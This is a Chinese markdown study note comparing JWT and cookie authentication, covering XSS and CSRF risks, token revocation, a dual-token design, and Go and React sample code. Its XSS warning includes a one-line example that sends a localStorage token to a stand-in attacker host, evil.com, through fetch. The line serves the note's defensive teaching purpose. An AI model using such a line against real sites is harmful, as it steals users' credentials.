Files
cs-note/hhs/DEV/鉴权策略/JWT vs Cookie/JWT vs Cookie.md
T
2026-05-24 11:42:38 +08:00

388 lines
16 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
---
tags: [JWT, Cookie, authentication, security, comparison, backend, frontend]
create time: 2026-05-23 00:01
---
# JWT vs Cookie:认证方案全景对比
## 概述
JWT 和 Cookie 是 Web 认证体系中两个最容易被混淆的概念。但它们根本不在同一个层面——**JWT 是令牌格式(数据结构),Cookie 是存储与传输机制(浏览器行为)**。把两者对立起来比较,就像拿"信件内容格式"和"邮递系统"做对比一样,维度完全不同。
本文从架构、安全、工程实践三个角度,系统对比两者,并给出**组合使用的最佳实践**。
> [!question] 先想一个问题
> JWT 存在哪里?Cookie 存在哪里?如果你的答案是"JWT 存客户端,Cookie 存浏览器",那说明这个误区正好是本文要澄清的。
>
> JWT 是一段**数据**,它可以存在 localStorage、内存变量、甚至 Cookie 里。Cookie 是浏览器的一种**存储和传输机制**,它可以存 JWT,也可以存 Session ID,或者任何字符串。
>
> 两者的关系是:**JWT 需要一个载体,Cookie 是候选载体之一。**
## 核心定位
### 层次模型
```mermaid
flowchart TB
subgraph Transport["传输层 — 数据怎么送到服务端"]
A["Authorization 头 — 前端手动注入"]
B["Cookie — 浏览器自动携带"]
C["URL 参数 — 不推荐"]
end
subgraph Format["数据层 — 送的是什么"]
D["JWT — 签名的 JSON 令牌"]
E["Session ID — 随机 UUID"]
F["自定义 Token — 任意字符串"]
end
subgraph Storage["存储层 — 存在哪里"]
G["localStorage — JS 可读写"]
H["HTTP-only Cookie — JS 不可读"]
I["内存变量 — 刷新即失"]
J["服务端 Session Store — Redis/DB"]
end
D --> A
D --> B
E --> B
F --> A
A --> G
A --> I
B --> H
E --> J
```
### 概念对比
| 维度 | JWT | Cookie |
|------|-----|--------|
| **本质** | 令牌格式(数据载体) | 存储与传输机制(浏览器行为) |
| **类比** | 信件内容的格式规范 | 邮递系统(自动送信) |
| **谁控制** | 开发者手动管理生命周期 | 浏览器根据响应头自动管理 |
| **数据可见性** | Base64 可解码(但签名防篡改) | 明文存储(除非加密) |
| **标准** | RFC 7519 | RFC 6265 |
> [!tip] 关键区分
> 问自己一个问题:"这个方案里,浏览器有没有自动帮我传数据?"
> - **有** → 用的是 Cookie 传输(不管里面存的是 Session ID 还是 JWT)
> - **没有** → 前端代码手动设 `Authorization` 头(JWT 或其他 Token)
## 安全模型对比
JWT + `Authorization` 头和 Cookie 的安全攻防完全不同,因为攻击面不同。
### 攻击面总览
```mermaid
flowchart LR
subgraph JWT_Auth["JWT + Authorization 头"]
direction TB
JA1["存储位置, localStorage"]
JA2["传输方式, 前端手动注入"]
JA3["主要威胁, XSS 窃取 Token"]
JA4["CSRF 风险, 低, 不自动发送"]
end
subgraph Cookie_Auth["Cookie 认证"]
direction TB
CA1["存储位置, 浏览器 Cookie 存储"]
CA2["传输方式, 浏览器自动携带"]
CA3["主要威胁, CSRF 伪造请求"]
CA4["XSS 风险, 低, HttpOnly 不可读"]
end
```
### XSS 攻防
XSS(跨站脚本)的核心:攻击者注入恶意 JS,窃取客户端存储的凭证。
| 方案 | 存储方式 | XSS 风险 | 说明 |
|------|----------|----------|------|
| JWT + localStorage | JS 可读 | **高** | 一旦 XSS 漏洞被利用,`localStorage.getItem('token')` 直接暴露 |
| JWT + 内存变量 | JS 可读但不持久 | **中** | 刷新页面即丢失,攻击窗口小,但 XSS 执行期间仍可读取 |
| JWT + HTTP-only Cookie | JS 不可读 | **低** | `HttpOnly` 阻断 JS 访问,XSS 无法直接窃取 |
| Session ID + HTTP-only Cookie | JS 不可读 | **低** | 同上,`HttpOnly` 是核心防线 |
> [!warning] localStorage 是 XSS 的"自助餐"
> 如果你的前端存在任何 XSS 漏洞(包括第三方依赖的漏洞),localStorage 中的 JWT 就是裸奔。攻击者只需一行代码 `fetch('https://evil.com/?t=' + localStorage.getItem('token'))` 即可完成窃取。
>
> 而 `HttpOnly` Cookie 是浏览器内核级别的隔离,JS 无法通过任何 API 读取——这才是真正的纵深防御。
### CSRF 攻防
CSRF(跨站请求伪造)的核心:浏览器自动携带目标域的 Cookie,攻击者借此伪造用户请求。
| 方案 | 自动携带凭证 | CSRF 风险 | 说明 |
|------|------------|-----------|------|
| JWT + `Authorization` 头 | 否 | **无** | `Authorization` 头需要 JS 手动设置,浏览器不会自动加 |
| JWT + Cookie | 是 | **有** | 和普通 Cookie 认证一样,需 SameSite / CSRF Token 防护 |
| Session ID + Cookie | 是 | **有** | 需配合 `SameSite=Lax/Strict` 或 CSRF Token |
```mermaid
sequenceDiagram
participant User as "用户"
participant SiteB as "恶意网站 B"
participant Server as "服务端"
Note over SiteB: "CSRF 攻击流程"
SiteB->>Server: "POST /transfer, Cookie 自动携带"
Server->>Server: "Cookie 合法, 请求被处理"
Server-->>SiteB: "转账成功"
Note over Server: "防御 SameSite Lax"
SiteB->>Server: "POST /transfer, Cookie 不携带"
Server-->>SiteB: "401 Unauthorized"
```
> [!question] 为什么 `Authorization` 天然免疫 CSRF?
> CSRF 利用的是浏览器**自动携带凭证**的行为。`Authorization` 头需要 JS 代码显式设置,浏览器不会自动注入——攻击者的恶意页面里没有你的 JS 代码,自然无法伪造 `Authorization` 头。
>
> 但要注意:如果你把 JWT 存在 Cookie 里(为了防 XSS),那 CSRF 风险就回来了。安全没有银弹,只有权衡。
### 综合安全评分
| 安全维度 | JWT + localStorage | JWT + Cookie (HttpOnly) | Session + Cookie (HttpOnly) |
|----------|--------------------|-----------------------|-----------------------------|
| XSS 防护 | ❌ 弱 | ✅ 强 | ✅ 强 |
| CSRF 防护 | ✅ 天然免疫 | ⚠️ 需额外防护 | ⚠️ 需额外防护 |
| 传输安全 | HTTPS | HTTPS + Secure 属性 | HTTPS + Secure 属性 |
| 令牌泄露影响 | 长期有效(至过期) | 长期有效(至过期) | 可即时吊销 |
| 实现复杂度 | 低 | 中 | 低 |
> [!info] 安全结论
> 没有"绝对安全"的方案,只有"适合场景"的方案:
> - 对 XSS 防御有信心(CSP + 输入转义 + 无第三方脚本风险)→ JWT + localStorage,实现简单
> - 对 XSS 没信心,或安全要求高 → JWT 存 HTTP-only Cookie,但需补 CSRF 防护
> - 传统 Web,需即时吊销 → Session + Cookie,最成熟可控
## 传输与工程实践对比
### 传输行为差异
```mermaid
sequenceDiagram
participant B as "浏览器"
participant S as "服务端"
Note over B: "方案 A, JWT + Authorization 头"
B->>B: "JS 从 localStorage 读取 Token"
B->>S: "GET /api/user, Authorization Bearer xxx"
S->>S: "解析 Authorization 头, 验签"
Note over B: "方案 B, Cookie 自动传输"
B->>S: "GET /api/user, Cookie 自动携带"
S->>S: "读取 Cookie 中的 Session ID 或 JWT"
```
| 工程维度 | JWT + Authorization 头 | Cookie 自动传输 |
|----------|----------------------|----------------|
| **前端工作量** | 需手动管理 Token 存储/注入/刷新 | 登录后浏览器自动处理 |
| **跨域支持** | 天然支持(手动设头即可) | 需 CORS 配置 + `credentials: "include"` |
| **移动端兼容** | 完美(不受浏览器 Cookie 策略限制) | 需要 WebView 支持 |
| **负载大小** | 500B~1KB(含 payload + 签名) | ~36B(仅 Session ID) |
| **服务端开销** | CPU 验签(轻量) | 查 Redis/DB(I/O) |
| **实时吊销** | 难(需黑名单或版本号) | 易(删 Session 即失效) |
| **水平扩展** | 天然支持(各服务独立验签,无需共享状态) | 需共享 Session 存储(Redis 等) |
> [!question] 为什么跨域场景倾向选 JWT + Authorization 头?
> Cookie 的跨域需要 CORS 配置白名单、`credentials: true`、且 `Allow-Origin` 不能用通配符——配置繁琐且容易出错。而 `Authorization` 头不受同源策略的 Cookie 限制,前端只需在请求拦截器里加一行,后端做标准的 Bearer Token 验证即可。
>
> 但代价是:前端要自己管理 Token 的生命周期——存储、注入、刷新、失效处理,这些都是 Cookie 浏览器自动帮你做的事。
### JWT 吊销策略
JWT 最大的工程痛点之一就是**实时吊销难**——Token 签发后在过期前一直有效。以下是常见的应对手段:
| 策略 | 实现方式 | 适用场景 | 代价 |
|------|----------|----------|------|
| **短过期 + 自动续期** | Access Token 15min,配合 Refresh Token 轮换 | 大多数场景的默认选择 | 无法秒级吊销,最长有 15min 窗口 |
| **Token 黑名单** | Redis 存被吊销的 Token JTI,每次请求校验 | 需要精确吊销(如用户主动登出、密码重置) | 引入状态存储,每次请求多一次 Redis 查询 |
| **Token 版本号** | 用户表维护 `token_version`,JWT payload 携带版本号,校验时比对 | 批量吊销(如"强制该用户所有设备下线") | 需要查库,但比黑名单轻量 |
| **Refresh Token 轮换** | 每次刷新签发新的 Refresh Token,旧的立即失效 | 防止 Refresh Token 泄露被重放 | 需要 Redis 存储 Token 家族关系 |
> [!tip] 实战建议
> 大部分场景用 **短过期 + 黑名单** 就够了。Access Token 设 15 分钟过期,用户登出或密码重置时将 Token JTI 加入 Redis 黑名单(TTL 等于 Token 剩余有效期)。不需要每次都查黑名单——只有在"安全事件"时才写入。
>
> 别试图实现"完美吊销"——那本质上就是 Session 方案了。JWT 的优势是**无状态验证**,频繁查库违背了它的设计初衷。
## 组合最佳实践:双令牌策略
真正的生产环境很少"二选一",而是**两者结合**,取长补短。
### 架构设计
```mermaid
flowchart TD
subgraph Login["登录流程"]
A["用户提交凭据"] --> B["服务端校验"]
B -->|"成功"| C["签发 Access Token, JWT, 15min"]
C --> D["签发 Refresh Token, UUID, 7d"]
D --> E["Access Token 返回响应体"]
D --> F["Refresh Token 存 HttpOnly Cookie"]
end
subgraph Request["API 请求"]
G["前端从内存取 Access Token"] --> H["注入 Authorization 头"]
H --> I["服务端验签, 无需查库"]
end
subgraph Refresh["Token 刷新"]
J["Access Token 过期"] --> K["前端请求 refresh"]
K --> L["浏览器自动带 Refresh Token Cookie"]
L --> M{"Refresh Token 有效"}
M -->|"是"| N["签发新 Access Token"]
M -->|"否"| O["跳转登录页"]
end
```
### 各层职责
| 组件 | 存储位置 | 生命周期 | 职责 |
|------|----------|----------|------|
| **Access Token** | 前端内存或 localStorage | 15 分钟 | API 调用凭证,过期即丢 |
| **Refresh Token** | Http-only + Secure + SameSite=Strict Cookie | 7 天 | 仅用于换取新 Access Token |
> [!tip] 为什么 Refresh Token 存 Cookie 而不是 Access Token?
> - **Refresh Token 访问频率低**(仅在 Access Token 过期时使用),Cookie 的自动传输特性在此是优势
> - **Refresh Token 是高价值目标**,Http-only Cookie 防 XSS 比 localStorage 安全
> - **Access Token 访问频率高**,存 localStorage 可避免每次请求的 Cookie 开销,也天然免疫 CSRF
>
> 这样两者各取所长:Access Token 的便利性 + Refresh Token 的安全性。
### Go 实现
```go
// 签发双令牌
func IssueTokenPair(c *gin.Context, userID uint, role string) {
// 1. Access Token: JWT, 短期
accessToken, _ := jwt.NewWithClaims(jwt.SigningMethodHS256, jwt.MapClaims{
"sub": userID,
"role": role,
"exp": time.Now().Add(15 * time.Minute).Unix(),
}).SignedString([]byte(os.Getenv("JWT_SECRET")))
// 2. Refresh Token: 随机 UUID, 存 Redis
refreshToken := uuid.New().String()
redis.Set(ctx, "refresh:"+refreshToken, userID, 7*24*time.Hour)
// 3. Refresh Token 存入 HttpOnly Cookie
c.SetCookie("refresh_token", refreshToken, 7*86400, "/auth/refresh",
"", true, true) // Secure + HttpOnly(Gin 需手动设 header)
// 4. Access Token 返回响应体
c.JSON(200, gin.H{"accessToken": accessToken, "expiresIn": 900})
}
// 刷新端点:从 Cookie 读 Refresh Token,签发新 Access Token
func RefreshHandler(c *gin.Context) {
refreshToken, err := c.Cookie("refresh_token")
if err != nil {
c.AbortWithStatusJSON(401, gin.H{"error": "no refresh token"})
return
}
userID, err := redis.Get(ctx, "refresh:"+refreshToken).Result()
if err != nil {
c.AbortWithStatusJSON(401, gin.H{"error": "refresh token expired"})
return
}
// 签发新 Access Token(Refresh Token 不变)
newAccessToken, _ := GenerateAccessToken(userID)
c.JSON(200, gin.H{"accessToken": newAccessToken, "expiresIn": 900})
}
```
### React 前端
```typescript
const api = axios.create({ baseURL: "/api" });
// 请求拦截器:自动注入 Access Token
api.interceptors.request.use((config) => {
const token = getAccessTokenFromMemory(); // 从内存读,不从 localStorage
if (token) config.headers.Authorization = `Bearer ${token}`;
return config;
});
// 响应拦截器:401 时自动刷新
api.interceptors.response.use(
(res) => res,
async (err) => {
if (err.response?.status === 401 && !err.config._retry) {
err.config._retry = true;
try {
// 调用刷新接口 — Refresh Token 由浏览器 Cookie 自动携带
const { data } = await axios.post("/api/auth/refresh");
setAccessTokenInMemory(data.accessToken);
err.config.headers.Authorization = `Bearer ${data.accessToken}`;
return api.request(err.config);
} catch {
window.location.href = "/login"; // 刷新失败,重新登录
}
}
return Promise.reject(err);
},
);
```
> [!note] 为什么 Access Token 存内存而不存 localStorage?
> 内存变量在页面刷新后会丢失,这看起来是缺点,但恰恰是优势——XSS 攻击的窗口被缩小到当前页面生命周期。每次刷新页面都会用 Refresh Token(存在 Http-only Cookie 里,XSS 读不到)重新获取 Access Token,实现"无感续期"。
## 选型决策指南
```mermaid
flowchart TD
A["选择认证方案"] --> B{"架构类型"}
B -->|"传统 Web SSR"| C{"需要即时吊销"}
C -->|"是"| D["Session + Cookie"]
C -->|"否"| E["JWT + Cookie HttpOnly"]
B -->|"前后端分离 SPA"| F{"安全要求"}
F -->|"高"| G["双令牌策略 Access + Refresh"]
F -->|"标准"| H["JWT + localStorage + Authorization 头"]
B -->|"移动端"| I["JWT + Authorization 头, 存内存"]
B -->|"微服务内部通信"| J["JWT 非对称签名 RS256"]
D --> D1["Redis 存 Session, 服务端可控"]
E --> E1["浏览器自动传输, 无需前端管理"]
G --> G1["Access Token 内存, Refresh Token Cookie"]
H --> H1["实现简单, 注意 XSS 防护"]
I --> I1["无浏览器 Cookie 限制"]
J --> J1["私钥签发, 公钥验签"]
style D fill:#e8f4f8
style G fill:#fde8e8
style H fill:#fff3cd
style I fill:#d4edda
```
### 速查表
| 场景 | 推荐方案 | 理由 |
|------|----------|------|
| 企业后台管理系统 | Session + Cookie | 功能集中,需即时踢人,单体架构 |
| 前后端分离 SPA | 双令牌策略 | 兼顾安全与体验 |
| 移动端 App | JWT + Authorization 头 | 无 Cookie 机制,Token 存安全存储 |
| 微服务网关 | JWT 非对称签名 | 各服务独立验签,无需查中心存储 |
| SSO 单点登录 | JWT + Cookie (Partitioned) | 跨站场景需 CHIPS 支持 |
> [!info] 没有银弹
> 每种方案都有取舍。选型时问自己三个问题:
> 1. **能不能接受用户 Token 在过期前无法强制失效?** → 能:JWT;不能:Session
> 2. **前端有没有能力和意愿管理 Token 生命周期?** → 有:Authorization 头;没有:Cookie
> 3. **架构是否需要跨域或跨服务?** → 是:JWT;否:Session 足够
>
> 答案组合起来就是你的最优解。
## 关联笔记
- [[hhs/DEV/鉴权策略/JWT/JWT]] — JWT 令牌格式与认证流程详解
- [[Cookie]] — Cookie 机制、属性与安全防护
- [[SameSite 与 CSRF 防护]] — SameSite 属性与 CSRF 攻防策略